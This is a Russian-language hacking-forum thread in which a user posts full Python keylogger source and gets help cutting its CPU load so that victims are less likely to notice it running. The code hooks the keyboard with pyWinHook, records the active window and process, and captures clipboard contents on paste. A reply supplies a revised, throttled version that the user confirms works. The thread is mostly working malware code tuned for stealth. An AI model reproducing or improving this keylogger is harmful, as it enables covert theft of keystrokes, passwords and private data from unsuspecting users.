• XSS.stack #1 – первый литературный журнал от юзеров форума

Код сильно грузит проц при выполнении...

user_47

(L3) cache
Пользователь
Регистрация
25.06.2023
Сообщения
210
Решения
2
Реакции
93
Гарант сделки
2
Всем привет!

Пытаюсь разобраться с кодом кейлогера.

Исправил что требовалось. И когда уже решил делать экзешку, обратил внимание на загрузку проца. Она была выше нормы. При запуске проц грузиться на 50%. Подумалось что такое может быть заметно даже неопытному пользователю. Решил разобраться.

Запустил исходник, с которого пилил свой вариант. Понял что проблема идёт оттуда. Подумалось что может так отрабатывает библиотека pyWinHook. С таким работаю впервые. Поэтому попал в тупик.

Это изначальный исходник, с которого начал пилить свой вариант.

Код:
from ctypes import byref, create_string_buffer, c_ulong, windll
from io import StringIO

import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard

TIMEOUT = 60*10

class KeyLogger:
    def __init__(self):
        self.current_window = None

    def get_current_process(self):
        hwnd = windll.user32.GetForegroundWindow()
        pid = c_ulong(0)
        windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
        process_id = f'{pid.value}'
    
        executable = create_string_buffer(512)
        h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
        windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
        window_title = create_string_buffer(512)
        windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)

        try:
            self.current_window = window_title.value.decode()
        except UnicodeDecodeError as e:
            print(f'{e}: window name unknown')
            
        print('\n', process_id, executable.value.decode(), self.current_window)
    
        windll.kernel32.CloseHandle(hwnd)
        windll.kernel32.CloseHandle(h_process)

    def mykeystroke(self, event):
        if event.WindowName != self.current_window:
            self.get_current_process()
    
        if 32 < event.Ascii < 127:
            print(chr(event.Ascii), end='')
        else:
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print(f'[PASTE] - {value}')
            else:
                print(f'{event.Key}')
        return True

def run():
    save_stdout = sys.stdout
    sys.stdout = StringIO()
    kl = KeyLogger()
    hm = pyHook.HookManager()
    hm.KeyDown = kl.mykeystroke
    hm.HookKeyboard()
    while time.thread_time() < TIMEOUT:
        pythoncom.PumpWaitingMessages()
    log = sys.stdout.getvalue()
    sys.stdout = save_stdout
    return log
        
if __name__ == '__main__':
    print(run())
    print('done.')
 
Программа постоянно выполняет цикл и слишком часто проверяет события клавиш.
Для уменьшения нагрузки можете попробовать установить более длительные временные интервалы между проверками клавиш и событий, окон. Возможно необходим пересмотр реализации мониторинга клавиш и окон.
 
Python:
from ctypes import byref, create_string_buffer, c_ulong, windll
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard

TIMEOUT = 60*10
CHECK_INTERVAL = 0.1 # Интервал проверки в секундах

class KeyLogger:
    def __init__(self):
        self.current_window = None
        self.last_check_time = time.time()

    def get_current_process(self):
        # ... (ваша текущая реализация)

    def mykeystroke(self, event):
        if event.WindowName != self.current_window:
            self.get_current_process()
      
        current_time = time.time()
        if current_time - self.last_check_time < CHECK_INTERVAL:
            return True # Пропустить обработку события клавиши, если прошло меньше CHECK_INTERVAL с момента последней проверки
      
        self.last_check_time = current_time # Обновить время последней проверки
        if 32 < event.Ascii < 127:
            print(chr(event.Ascii), end='')
        else:
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print(f'[PASTE] - {value}')
            else:
                print(f'{event.Key}')
        return True

def run():
    kl = KeyLogger()
    hm = pyHook.HookManager()
    hm.KeyDown = kl.mykeystroke
    hm.HookKeyboard()

    start_time = time.time()
    while time.time() - start_time < TIMEOUT:
        pythoncom.PumpWaitingMessages()
        time.sleep(0.1) # Добавляем временную задержку, чтобы освободить процессор
      
    hm.UnhookKeyboard() # Отключаем отслеживание клавиатуры

if __name__ == '__main__':
    run()
    print('done.')
 
Последнее редактирование модератором:
В этом варианте добавлено задержка time.sleep() в цикле и last_chek_time
Всё заработало даже в моём варианте с кучей костылей! Благодарю за помощь!

Пришлось с этими питоновскими отступами поразбираться) Потому как изначально код был отправлен как простой текст)

Но это только усилило эйфорию от правельной работы кода в последствии)))))
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх